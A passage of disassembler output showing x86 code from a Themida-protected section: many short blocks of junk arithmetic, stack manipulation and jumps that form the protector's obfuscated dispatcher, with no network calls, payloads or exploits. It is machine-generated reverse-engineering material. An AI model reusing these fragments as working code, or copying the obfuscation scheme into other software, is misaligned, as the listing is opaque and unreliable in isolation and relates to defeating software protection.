		add	dword ptr [esp], 2B0B7FA6h
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5490ED:				; CODE XREF: Themida_:0054A3ECj
		pop	esi
		jmp	loc_545010
; ---------------------------------------------------------------------------


loc_5490F3:				; CODE XREF: Themida_:00544A5Ej
		and	edi, 3C2414EFh
		xor	edi, 2820FB75h
		and	eax, edi
		pop	edi
		or	eax, eax
		jnz	loc_54C9ED
		push	ecx
		mov	ecx, 67B27D81h
		jmp	loc_54E015
; ---------------------------------------------------------------------------


loc_549115:				; CODE XREF: Themida_:0054B1CBj
		mov	ebp, 5884461Ah
		add	eax, ebp
		jmp	loc_547B03
; ---------------------------------------------------------------------------


loc_549121:				; CODE XREF: Themida_:0054653Cj
		pop	ebp
		shl	si, 4
		sub	si, 466Ch
		add	si, 699Ah
		add	bp, si
		pop	esi
		jmp	loc_54D334
; ---------------------------------------------------------------------------


loc_549139:				; CODE XREF: Themida_:0054DAA5j
		push	ebx
		push	ebp
		mov	ebp, 7C95201Dh
		mov	ebx, ebp
		pop	ebp
		sub	ebx, 7C8039CEh
		shl	ebx, 4
		xor	ebx, 9A17F2Eh
		and	ecx, ebx
		pop	ebx
		shr	ecx, 7
		jmp	loc_54489F
; ---------------------------------------------------------------------------


loc_54915D:				; CODE XREF: Themida_:00544CDDj
		sub	edx, 4
		xchg	edx, [esp]
		pop	esp
		mov	[esp], ebp
		mov	ebp, 25771392h
		inc	ebp
		neg	ebp
		xor	ebp, 6DBC754Fh
		shl	ebp, 3
		jmp	loc_54B91B
; ---------------------------------------------------------------------------
		push	dword ptr [edx]
		jmp	loc_544022
; ---------------------------------------------------------------------------
		mov	cx, [esp]
		push	ebx
		mov	ebx, esp
		push	edi
		mov	edi, 46DD4AD7h
		xor	edi, 47997AE6h
		jmp	loc_54E393
; ---------------------------------------------------------------------------


loc_54919C:				; CODE XREF: Themida_:0054EB68j
		sub	edi, eax
		pop	eax
		sub	edi, 4CB2056Ah
		sub	edi, 6E55D04h
		sub	edi, ecx
		jmp	loc_546835
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		pop	eax
		jmp	loc_54B7E1
; ---------------------------------------------------------------------------


loc_5491BB:				; CODE XREF: Themida_:0054CFFAj
		pop	bp
		xchg	si, bp
		xchg	cx, si
		not	cx
		push	si
		jmp	loc_545D5C
; ---------------------------------------------------------------------------


loc_5491CD:				; CODE XREF: Themida_:00547235j
		add	ebx, edx
		pop	edx
		push	edi
		mov	edi, 4
		add	ebx, edi
		pop	edi
		jmp	loc_54A250
; ---------------------------------------------------------------------------


loc_5491DE:				; CODE XREF: Themida_:0054CCBDj
		pop	eax
		dec	esi
		jmp	loc_547C40
; ---------------------------------------------------------------------------


loc_5491E5:				; CODE XREF: Themida_:0054495Fj
		mov	ebp, 2
		add	ebx, ebp
		push	dword ptr [esp]
		pop	ebp
		add	esp, 4
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		dec	byte ptr [esp]
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549209:				; CODE XREF: Themida_:00547253j
		add	bl, al
		sub	bl, 0C8h
		add	bl, 0Eh
		push	ax
		mov	al, 75h
		jmp	loc_547D91
; ---------------------------------------------------------------------------


loc_54921A:				; CODE XREF: Themida_:0054B9D8j
		mov	edx, 0F209F319h
		jmp	loc_54490B
; ---------------------------------------------------------------------------


loc_549224:				; CODE XREF: Themida_:005493A1j
		xor	bh, 59h
		sub	ah, bh
		pop	ebx
		sub	ah, 35h
		mov	dl, ah
		pop	eax
		push	ax
		push	ebx
		jmp	loc_54A40A
; ---------------------------------------------------------------------------


loc_549238:				; CODE XREF: Themida_:0054D8C7j
		mov	edx, [esp]
		jmp	loc_54D426
; ---------------------------------------------------------------------------


loc_549240:				; CODE XREF: Themida_:00548DC8j
		mov	esi, 0
		sub	esi, ecx
		push	ebp
		mov	ebp, esi
		mov	ecx, ebp
		pop	ebp
		pop	esi
		add	ecx, 3643566Bh
		sub	ecx, 82149475h
		jmp	loc_549788
; ---------------------------------------------------------------------------


loc_54925F:				; CODE XREF: Themida_:0054FEE9j
		pop	esi
		add	ebp, ecx
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		push	ebp
		push	dword ptr [esp+4]
		mov	ebp, [esp]
		push	ebx
		jmp	loc_547BA3
; ---------------------------------------------------------------------------


loc_549277:				; CODE XREF: Themida_:0054AAC4j
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54A818
; ---------------------------------------------------------------------------


loc_549282:				; CODE XREF: Themida_:005471A9j
		mov	ebp, 20E26DDAh
		xor	ebp, 4E2C31D2h
		sub	ebp, 1B430E35h
		and	ebp, 3B582EA6h
		xor	ebp, 686F1EA7h
		not	ebp
		sub	ebp, 455CC75Bh
		sub	edi, ebp
		jmp	loc_54E047
; ---------------------------------------------------------------------------


loc_5492AE:				; CODE XREF: Themida_:00548D44j
		xor	ecx, 6CB57E0Dh
		push	esi
		mov	esi, 5F821162h
		neg	esi
		dec	esi
		jmp	loc_546474
; ---------------------------------------------------------------------------


loc_5492C2:				; CODE XREF: Themida_:00544E72j
		push	eax
		push	esp
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		push	edi
		mov	edi, esp
		jmp	loc_5496CC
; ---------------------------------------------------------------------------


loc_5492D7:				; CODE XREF: Themida_:005461F1j
		mov	esp, [esp]
		jmp	loc_548F15
; ---------------------------------------------------------------------------


loc_5492DF:				; CODE XREF: Themida_:00545631j
		dec	cx
		sub	cx, 0AD3Bh
		xor	si, cx
		pop	ecx
		add	si, 6E7Ch
		jmp	loc_54CBB0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_5492F4:				; CODE XREF: sub_545BCC-14BBj
		xor	bh, 31h
		jmp	loc_545877
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_5492FC:				; CODE XREF: Themida_:0054D82Ej
		add	edi, 4
		push	esi
		push	ebx
		push	630F1A69h
		pop	ebx
		xor	ebx, 630F1A6Dh
		mov	esi, ebx
		pop	ebx
		add	edi, esi
		pop	esi
		xor	edi, [esp]
		jmp	$+5
		xor	[esp], edi
		jmp	loc_549861
; ---------------------------------------------------------------------------


loc_549326:				; CODE XREF: Themida_:00548E16j
		push	74A6h
		jmp	loc_54FFFB
; ---------------------------------------------------------------------------


loc_549330:				; CODE XREF: Themida_:0054E1FCj
		pop	ecx
		push	ebp
		mov	ebp, 0FFE624EBh
		jmp	loc_54E7D6
; ---------------------------------------------------------------------------


loc_54933C:				; CODE XREF: Themida_:00545EC5j
		or	edi, esi
		pop	esi
		add	edi, 80148027h
		jmp	loc_548FFD
; ---------------------------------------------------------------------------


loc_54934A:				; CODE XREF: Themida_:0054CA25j
		add	[esp+4], ecx
		add	dword ptr [esp+4], 6F9A6EFCh
		jmp	loc_54FA3B
; ---------------------------------------------------------------------------


loc_54935B:				; CODE XREF: Themida_:0054E29Aj
		add	ebp, 47D156BBh
		add	ebp, eax
		sub	ebp, 47D156BBh
		sub	ebp, 37D561A7h
		jmp	loc_5482E9
; ---------------------------------------------------------------------------


loc_549374:				; CODE XREF: Themida_:0054AAEDj
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549379:				; CODE XREF: Themida_:0054CE4Fj
		sub	ebx, 6C346D80h
		add	ebx, eax
		jmp	loc_5464F5
; ---------------------------------------------------------------------------


loc_549386:				; CODE XREF: Themida_:0054F25Bj
		mov	[esp], edx
		mov	edx, 11C1373Dh
		jmp	loc_546526
; ---------------------------------------------------------------------------


loc_549393:				; CODE XREF: Themida_:00546A9Bj
		add	esp, 4
		jmp	loc_54792C
; ---------------------------------------------------------------------------


loc_54939E:				; CODE XREF: Themida_:00546521j
		and	bh, 47h
		jmp	loc_549224
; ---------------------------------------------------------------------------


loc_5493A6:				; CODE XREF: Themida_:00545707j
		xor	eax, [esp]
		mov	esp, [esp]
		jmp	loc_54D603
; ---------------------------------------------------------------------------


loc_5493B1:				; CODE XREF: Themida_:0054EF64j
		pop	esp
		movzx	eax, al
		jmp	loc_5484EA
; ---------------------------------------------------------------------------


loc_5493BA:				; CODE XREF: Themida_:005473AAj
		add	ecx, 0BBFADC5Ah
		add	ebp, ecx
		pop	ecx
		jmp	loc_545537
; ---------------------------------------------------------------------------


loc_5493C8:				; CODE XREF: Themida_:005474F5j
		sub	ebp, esi
		pop	esi
		add	ebx, ebp
		jmp	loc_5459F1
; ---------------------------------------------------------------------------


loc_5493D2:				; CODE XREF: Themida_:005479CEj
		pop	edi
		mov	ebx, edx
		jmp	loc_5442BE
; ---------------------------------------------------------------------------


loc_5493DA:				; CODE XREF: Themida_:00545371j
		add	edi, 4
		push	54h
		jmp	loc_54E0CF
; ---------------------------------------------------------------------------


loc_5493EA:				; CODE XREF: Themida_:005488E1j
		pop	esp
		mov	[esp], ebx
		push	6603h
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		add	ebx, 4
		push	edi
		mov	edi, 4
		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp+4]
		pop	ebx
		pop	dword ptr [esp]
		pop	esp
		or	[esp], eax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549427:				; CODE XREF: Themida_:00546D02j
		mov	[esp], eax
		push	esp
		pop	eax
		push	ebx
		jmp	loc_54D572
; ---------------------------------------------------------------------------


loc_549432:				; CODE XREF: Themida_:0054F773j
		push	ebp
		push	6AD068A0h
		pop	ebp
		add	edi, ebp
		jmp	loc_54E571
; ---------------------------------------------------------------------------


loc_549440:				; CODE XREF: Themida_:00545AB9j
		mov	edx, 2
		jmp	loc_545160
; ---------------------------------------------------------------------------


loc_54944A:				; CODE XREF: Themida_:0054FB02j
		push	esp
		pop	esi
		jmp	loc_546C34
; ---------------------------------------------------------------------------


loc_549451:				; CODE XREF: Themida_:00549A60j
		mov	edx, ecx
		jmp	loc_546A28
; ---------------------------------------------------------------------------


loc_549458:				; CODE XREF: Themida_:0054DB4Ej
		add	esi, 4
		add	esi, 4
		xchg	esi, [esp]
		pop	esp
		push	ebp
		mov	ebp, 53AC64D7h
		or	ebp, 83300EAh
		not	ebp
		neg	ebp
		xor	ebp, 5BA15F52h
		jmp	loc_54412A
; ---------------------------------------------------------------------------


loc_549480:				; CODE XREF: Themida_:005445A9j
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 322F40D4h
		sub	esi, 496D4885h
		and	esi, 147D7FE2h
		neg	esi
		and	esi, 52A46564h
		add	esi, 0AD5BFADEh
		add	eax, esi
		mov	esi, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		jmp	loc_545352
; ---------------------------------------------------------------------------


loc_5494BB:				; CODE XREF: Themida_:0054B89Cj
		xchg	edx, [esp]
		jmp	loc_5498A0
; ---------------------------------------------------------------------------


loc_5494C3:				; CODE XREF: Themida_:0054C262j
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edi
		mov	edi, 4
		add	esi, edi
		pop	edi
		xchg	esi, [esp]
		jmp	loc_54CE02
; ---------------------------------------------------------------------------


loc_5494DD:				; CODE XREF: Themida_:00545AD4j
		mov	[esp], ebx
		mov	bl, 40h
		push	eax
		mov	ah, 0B7h
		xor	ah, 88h
		xor	bl, ah
		jmp	loc_54A0D7
; ---------------------------------------------------------------------------


loc_5494EF:				; CODE XREF: Themida_:0054BAD2j
		add	ecx, ebx
		pop	ebx
		xor	ecx, 0A0D6C1B1h
		add	edx, ecx
		pop	ecx
		add	edx, esi
		sub	edx, 546A7F30h
		pop	esi
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		xchg	edx, [esp]
		mov	esp, [esp]
		jmp	loc_547605
; ---------------------------------------------------------------------------


loc_549518:				; CODE XREF: Themida_:00545E80j
		mov	esi, 4
		add	ecx, esi
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_545698
; ---------------------------------------------------------------------------
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		jmp	loc_548BB4
; ---------------------------------------------------------------------------


loc_54953B:				; CODE XREF: Themida_:00544105j
		add	ebx, eax
		push	edi
		jmp	loc_54DC6A
; ---------------------------------------------------------------------------


loc_549543:				; CODE XREF: Themida_:00548345j
		pop	ebx
		add	al, dl
		push	dword ptr [esp]
		pop	edx
		push	eax
		mov	eax, esp
		add	eax, 4
		jmp	loc_54CD7F
; ---------------------------------------------------------------------------


loc_549557:				; CODE XREF: Themida_:0054BB59j
		xor	al, bl
		sub	esp, 2
		mov	[esp], cx
		jmp	loc_54B02E
; ---------------------------------------------------------------------------


loc_549568:				; CODE XREF: Themida_:0054F9A2j
		xchg	edx, [esp]
		pop	esp
		jmp	loc_546D34
; ---------------------------------------------------------------------------


loc_549571:				; CODE XREF: Themida_:0054DF35j
		sub	al, 9Fh
		jmp	loc_5447A7
; ---------------------------------------------------------------------------


loc_549578:				; CODE XREF: Themida_:0054DD84j
		mov	edx, esp
		push	ebp
		mov	ebp, 3E0D70CCh
		shl	ebp, 2
		shr	ebp, 6
		jmp	loc_544C6A
; ---------------------------------------------------------------------------


loc_54958B:				; CODE XREF: Themida_:0054FA0Ej
		add	esi, 19963B8Eh
		mov	ecx, [esp]
		add	esp, 4
		mov	eax, esi
		pop	esi
		sub	esp, 4
		jmp	loc_54CB7F
; ---------------------------------------------------------------------------


loc_5495A2:				; CODE XREF: Themida_:0054FE59j
		mov	edx, 4
		sub	edi, edx
		pop	edx
		jmp	loc_54B9B3
; ---------------------------------------------------------------------------


loc_5495AF:				; CODE XREF: Themida_:005485F1j
		jmp	loc_544022
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545BCC


loc_5495B4:				; CODE XREF: sub_545BCC+8j
		sub	dl, 3Fh
		jmp	loc_54AA25
; END OF FUNCTION CHUNK	FOR sub_545BCC
; ---------------------------------------------------------------------------


loc_5495BC:				; CODE XREF: Themida_:0054D23Fj
		and	eax, ecx
		pop	ecx
		or	edx, eax
		jmp	loc_54E37C
; ---------------------------------------------------------------------------


loc_5495C6:				; CODE XREF: Themida_:0054CD17j
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		pop	esp
		xchg	ebp, [esp]
		pop	esp
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		push	4E0Eh
		mov	[esp], esi
		push	edx
		push	eax
		push	3C8A1F61h
		pop	eax
		xchg	eax, edi
		push	edi
		not	dword ptr [esp]
		pop	edi
		xchg	eax, edi
		dec	eax
		xor	eax, 0C375E09Fh
		mov	edx, eax
		mov	eax, [esp]
		add	esp, 4
		mov	esi, edx
		mov	edx, [esp]
		add	esp, 4
		add	edi, esi
		pop	esi
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		mov	esp, [esp]
		imul	cx
		push	small 4C7Eh
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_546D75
; ---------------------------------------------------------------------------


loc_549633:				; CODE XREF: Themida_:0054E7B0j
		add	ebp, 4
		xor	ebp, [esp]
		jmp	loc_547722
; ---------------------------------------------------------------------------


loc_549641:				; CODE XREF: Themida_:00547510j
		not	ecx
		jmp	loc_54EB16
; ---------------------------------------------------------------------------


loc_549648:				; CODE XREF: Themida_:00545E4Bj
		jz	loc_54C9ED
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		push	ebp
		jmp	loc_547D4B
; ---------------------------------------------------------------------------


loc_54965E:				; CODE XREF: Themida_:005464EAj
		push	ebx
		mov	ebx, esp
		jmp	loc_54E12D
; ---------------------------------------------------------------------------


loc_549666:				; CODE XREF: Themida_:00546452j
		pop	dword ptr [esp]
		jmp	loc_549EDF
; ---------------------------------------------------------------------------


loc_54966E:				; CODE XREF: Themida_:00546694j
		test	cx, ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549677:				; CODE XREF: Themida_:00549C05j
		push	esi
		jmp	loc_54CABA
; ---------------------------------------------------------------------------


loc_54967D:				; CODE XREF: Themida_:005459C7j
		mov	esi, 39CD6F99h
		inc	esi
		push	ebp
		jmp	loc_5477E7
; ---------------------------------------------------------------------------


loc_549689:				; CODE XREF: Themida_:0054608Fj
		add	edi, 4
		push	esi
		jmp	loc_544344
; ---------------------------------------------------------------------------


loc_549695:				; CODE XREF: Themida_:0054F921j
		push	eax
		mov	eax, 4
		add	ecx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	dword ptr [esp+4]
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54E8A5
; ---------------------------------------------------------------------------


loc_5496B3:				; CODE XREF: Themida_:00548224j
		mov	edi, edx
		pop	edx
		jmp	loc_549C3D
; ---------------------------------------------------------------------------
		sub	ch, 0AFh
		or	al, ch
		jmp	loc_545236
; ---------------------------------------------------------------------------


loc_5496C5:				; CODE XREF: Themida_:00549AF9j
		mov	eax, esp
		jmp	loc_54EEBA
; ---------------------------------------------------------------------------


loc_5496CC:				; CODE XREF: Themida_:005492D2j
		add	edi, 4
		jmp	loc_54A430
; ---------------------------------------------------------------------------


loc_5496D7:				; CODE XREF: Themida_:0054FA9Ej
		xor	edx, edi
		xor	edi, edx
		xor	edx, edi
		dec	edi
		jmp	loc_54657A
; ---------------------------------------------------------------------------


loc_5496E3:				; CODE XREF: Themida_:0054FB3Fj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		mov	[esp], edi
		push	48EEh
		mov	[esp], esp
		jmp	loc_54A10E
; ---------------------------------------------------------------------------


loc_5496FA:				; CODE XREF: Themida_:00548511j
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		jmp	loc_547F34
; ---------------------------------------------------------------------------


loc_54970D:				; CODE XREF: Themida_:00545923j
		xor	ebx, ecx
		xor	ecx, ebx
		push	707h
		mov	[esp], edx
		mov	edx, 5FDB464Ch
		dec	edx
		push	edi
		mov	edi, 49E265CEh
		sub	edx, edi
		pop	edi
		sub	edx, 4BB4AED9h
		xor	ecx, edx
		pop	edx
		jmp	loc_54B4D5
; ---------------------------------------------------------------------------


loc_549736:				; CODE XREF: Themida_:00548DD8j
		xor	ebx, 0B88BB254h
		or	esi, ebx
		pop	ebx
		jmp	loc_546928
; ---------------------------------------------------------------------------


loc_549744:				; CODE XREF: Themida_:005486C4j
		pop	ecx
		dec	esi
		dec	esi
		sub	esi, 0F5E7CD72h
		mov	edx, esi
		pop	esi
		push	ebp
		mov	ebp, 0F4B0DEFh
		shr	ebp, 5
		jmp	loc_54BBF0
; ---------------------------------------------------------------------------


loc_54975E:				; CODE XREF: Themida_:00549939j
		pop	ebp
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		jmp	loc_54FB07
; ---------------------------------------------------------------------------


loc_54976E:				; CODE XREF: Themida_:0054B8C3j
		pop	esp
		mov	[esp], eax
		jmp	loc_54C6B6
; ---------------------------------------------------------------------------


loc_549777:				; CODE XREF: Themida_:0054F40Fj
		mov	[esp], esi
		mov	esi, 5081479Dh
		xchg	ebx, esi
		xchg	edx, ebx
		jmp	loc_54EF8F
; ---------------------------------------------------------------------------


loc_549788:				; CODE XREF: Themida_:0054925Aj
		and	eax, ecx
		pop	ecx
		shr	eax, 0Bh
		xor	ecx, eax
		jmp	loc_547C3A
; ---------------------------------------------------------------------------


loc_549795:				; CODE XREF: Themida_:0054C40Aj
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	esi
		push	ebp
		mov	ebp, 2BD3327Eh
		neg	ebp
		xor	ebp, 0D42CCD86h
		jmp	loc_54F210
; ---------------------------------------------------------------------------


loc_5497B2:				; CODE XREF: Themida_:0054FFECj
		add	al, ch
		pop	cx
		mov	ecx, [esp]
		jmp	loc_54C65F
; ---------------------------------------------------------------------------


loc_5497BE:				; CODE XREF: Themida_:00545872j
		dec	ecx
		jmp	loc_54D4D3
; ---------------------------------------------------------------------------


loc_5497C4:				; CODE XREF: Themida_:0054F82Dj
		xor	ebp, 0CFF7E81Dh
		jmp	loc_545836
; ---------------------------------------------------------------------------


loc_5497CF:				; CODE XREF: Themida_:00546DE9j
		add	edi, ebx
		sub	edi, 392030C8h
		pop	ebx
		add	edi, 2
		xchg	edi, [esp]
		mov	esp, [esp]
		div	cl
		movzx	cx, ah
		push	47FBh
		mov	[esp], edx
		jmp	loc_545F07
; ---------------------------------------------------------------------------


loc_5497F4:				; CODE XREF: Themida_:0054F6A2j
		sub	ebx, edi
		pop	edi
		neg	ebx
		neg	ebx
		add	ebx, 2EE8A517h
		sub	edi, 20C1994h
		add	edi, ebx
		add	edi, 20C1994h
		mov	ebx, [esp]
		add	esp, 4
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		push	ebx
		push	eax
		mov	eax, 1E7A1B99h
		mov	ebx, 0C91640Dh
		add	ebx, eax
		pop	eax
		jmp	loc_5463B1
; ---------------------------------------------------------------------------


loc_549832:				; CODE XREF: Themida_:0054E6A7j
		xor	edx, 66DF6814h
		jmp	loc_547477
; ---------------------------------------------------------------------------


loc_54983D:				; CODE XREF: Themida_:00548A42j
		shl	edx, 2
		not	edx
		or	edx, 75031985h
		sub	edx, 0FD6B999Bh
		jmp	loc_54C141
; ---------------------------------------------------------------------------


loc_549853:				; CODE XREF: Themida_:0054B598j
		not	al
		shl	al, 4
		and	al, 0EDh
		xor	al, 41h
		jmp	loc_54A6B5
; ---------------------------------------------------------------------------


loc_549861:				; CODE XREF: Themida_:00549321j
		xor	edi, [esp]
		mov	esp, [esp]
		jmp	loc_5484A4
; ---------------------------------------------------------------------------


loc_54986C:				; CODE XREF: Themida_:00549A20j
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_5474A1
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	byte ptr [esp],	cl
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549886:				; CODE XREF: Themida_:00548E7Ej
		not	ecx
		jmp	loc_54D2B5
; ---------------------------------------------------------------------------


loc_54988D:				; CODE XREF: Themida_:0054B349j
		mov	[esp], edx
		mov	edx, 5E3F0C25h
		and	edx, 74FD1739h
		jmp	loc_5465A1
; ---------------------------------------------------------------------------


loc_5498A0:				; CODE XREF: Themida_:005494BEj
		mov	esp, [esp]
		push	edx
		jmp	loc_545E0F
; ---------------------------------------------------------------------------


loc_5498A9:				; CODE XREF: Themida_:0054F4ADj
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_54A52D
; ---------------------------------------------------------------------------


loc_5498B7:				; CODE XREF: Themida_:0054E319j
		add	ecx, offset byte_4A049D
		jmp	loc_546281
; ---------------------------------------------------------------------------


loc_5498C2:				; CODE XREF: Themida_:00548F3Aj
		dec	ch
		not	ch
		add	ch, 1Bh
		mov	dh, ch
		pop	ecx
		push	edx
		mov	dl, 66h
		push	ecx
		mov	cl, dl
		neg	cl
		mov	dl, cl
		pop	ecx
		add	dl, 0E8h
		inc	dl
		jmp	loc_54ABC3
; ---------------------------------------------------------------------------


loc_5498E1:				; CODE XREF: Themida_:0054FC35j
		add	esp, 4
		jmp	loc_54BB22
; ---------------------------------------------------------------------------


loc_5498E9:				; CODE XREF: Themida_:0054DFE5j
		add	ecx, edx
		pop	edx
		sub	edi, ecx
		jmp	loc_54B2FE
; ---------------------------------------------------------------------------


loc_5498F3:				; CODE XREF: Themida_:0054D580j
		xor	esi, 30DB7CBCh
		add	esi, 43DB2147h
		add	esi, 21AD269Eh
		or	esi, 1C031852h
		push	eax
		mov	eax, 4F034D8Fh
		shl	eax, 3
		neg	eax
		sub	eax, 0CA85FA09h
		xor	esi, eax
		pop	eax
		mov	edi, esi
		pop	esi
		mov	ebx, edi
		pop	edi
		sub	eax, 4A8655AFh
		add	eax, ebx
		add	eax, 4A8655AFh
		jmp	loc_54D957
; ---------------------------------------------------------------------------


loc_549935:				; CODE XREF: Themida_:00546305j
		add	[esp+4], ebp
		jmp	loc_54975E
; ---------------------------------------------------------------------------


loc_54993E:				; CODE XREF: Themida_:00549AF1j
		pop	ebx
		xor	esi, edi
		pop	edi
		sub	dword ptr [esp+4], 250A3EEFh
		jmp	loc_546376
; ---------------------------------------------------------------------------


loc_54994F:				; CODE XREF: Themida_:00549CA1j
		sub	al, 82h
		mov	ebx, [esp]
		add	esp, 4
		push	55EDh
		mov	[esp], ecx
		mov	ch, 39h
		shr	ch, 6
		neg	ch
		dec	ch
		add	ch, 55h
		jmp	loc_5482DE
; ---------------------------------------------------------------------------


loc_549970:				; CODE XREF: Themida_:00547C76j
		mov	[esp], ebx
		sub	esp, 4
		mov	[esp], esp
		add	dword ptr [esp], 4
		pop	ebx
		jmp	loc_54F446
; ---------------------------------------------------------------------------


loc_549989:				; CODE XREF: Themida_:0054F0FAj
		push	edi
		mov	edi, esp
		push	ebx
		mov	ebx, 4
		add	edi, ebx
		pop	ebx
		add	edi, 4
		xchg	edi, [esp]
		mov	esp, [esp]
		pop	eax
		jmp	loc_545409
; ---------------------------------------------------------------------------


loc_5499A7:				; CODE XREF: Themida_:00549AA9j
		pop	edi
		mov	eax, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	16C4h
		mov	[esp], esi
		mov	esi, 4
		jmp	loc_544436
; ---------------------------------------------------------------------------


loc_5499C6:				; CODE XREF: Themida_:0054FB7Dj
		push	dword ptr [esp+4]
		pop	esi
		pop	dword ptr [esp]
		mov	esp, [esp]
		mov	[esp], dx
		push	ax
		pushf
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_5499DD:				; CODE XREF: Themida_:0054640Dj
		mov	esi, 4
		jmp	loc_54B1DA
; ---------------------------------------------------------------------------


loc_5499E7:				; CODE XREF: Themida_:0054D985j
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		mov	[esp], ebx
		jmp	loc_54EBD8
; ---------------------------------------------------------------------------


loc_5499FE:				; CODE XREF: Themida_:00546DC8j
		pop	esp
		mov	cx, [esp]
		push	ecx
		push	esp
		pop	ecx
		push	ebp
		mov	ebp, 1C1C557Eh
		dec	ebp
		sub	ebp, 518F0A33h
		not	ebp
		jmp	loc_54B936
; ---------------------------------------------------------------------------


loc_549A1A:				; CODE XREF: Themida_:005459F8j
		push	ebx
		push	dword ptr [esp+4]
		pop	ebx
		jmp	loc_54986C
; ---------------------------------------------------------------------------


loc_549A25:				; CODE XREF: Themida_:0054B2F2j
		mov	eax, 1D43003Ah
		neg	eax
		jmp	loc_546C9E
; ---------------------------------------------------------------------------


loc_549A31:				; CODE XREF: Themida_:0054BBC5j
		push	4BF1h
		mov	[esp], edx
		jmp	loc_54A390
; ---------------------------------------------------------------------------


loc_549A3E:				; CODE XREF: Themida_:0054F167j
		pop	eax
		jmp	loc_546D47
; ---------------------------------------------------------------------------


loc_549A44:				; CODE XREF: Themida_:00545E96j
		push	eax
		mov	eax, 467F57DDh
		or	ecx, eax
		pop	eax
		not	ecx
		push	esi
		mov	esi, 556F7A9Dh
		add	ecx, esi
		pop	esi
		neg	ecx
		sub	ecx, 0B1FACAF7h
		jmp	loc_549451
; ---------------------------------------------------------------------------


loc_549A65:				; CODE XREF: Themida_:00547E92j
		jmp	loc_544022
; ---------------------------------------------------------------------------


loc_549A6A:				; CODE XREF: Themida_:005461A9j
		push	ebp
		mov	ebp, 39280DA5h
		sub	eax, ebp
		mov	ebp, [esp]
		add	esp, 4
		sub	eax, 41EA03A6h
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_549E7B
; ---------------------------------------------------------------------------


loc_549A8B:				; CODE XREF: Themida_:0054A36Dj
		pop	edi
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		jmp	loc_54A139
; ---------------------------------------------------------------------------


loc_549A9A:				; CODE XREF: Themida_:00546A67j
		mov	esi, [esp]
		add	esp, 4
		jmp	loc_54E28E
; ---------------------------------------------------------------------------


loc_549AA5:				; CODE XREF: Themida_:00544B3Dj
		add	[esp+4], edi
		jmp	loc_5499A7
; ---------------------------------------------------------------------------


loc_549AAE:				; CODE XREF: Themida_:0054E0F1j
		add	[esp+4], esi
		pop	esi
		pop	ebp
		add	ebp, 4
		add	ebp, 2
		jmp	loc_54C169
; ---------------------------------------------------------------------------


loc_549AC2:				; CODE XREF: Themida_:0054DDA3j
		sub	ecx, 0BB0EB5F3h
		add	ebx, ecx
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_54F335
; ---------------------------------------------------------------------------


loc_549AD5:				; CODE XREF: Themida_:00545998j
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		jmp	loc_54A57C
; ---------------------------------------------------------------------------


loc_549AE9:				; CODE XREF: Themida_:0054D79Fj
		xor	ebx, 0C9098141h
		mov	esi, ebx
		jmp	loc_54993E
; ---------------------------------------------------------------------------


loc_549AF6:				; CODE XREF: Themida_:0054CB62j
		mov	[esp], eax
		jmp	loc_5496C5
; ---------------------------------------------------------------------------


loc_549AFE:				; CODE XREF: Themida_:00546B3Cj
		mov	bl, ah
		pop	eax
		jmp	loc_547CBA
; ---------------------------------------------------------------------------


loc_549B06:				; CODE XREF: Themida_:00546140j
		sub	ax, 5C1Dh
		push	0DC9h
		mov	[esp], ecx
		mov	cx, 433Ah
		add	cx, 36DCh
		push	edi
		mov	di, 31Bh
		sub	di, 25C9h
		or	di, 1D9Dh
		inc	di
		neg	di
		add	di, 35Eh
		sub	cx, di
		pop	edi
		sub	ax, cx
		pop	ecx
		jmp	loc_547E12
; ---------------------------------------------------------------------------


loc_549B41:				; CODE XREF: Themida_:0054FF4Cj
		add	eax, edi
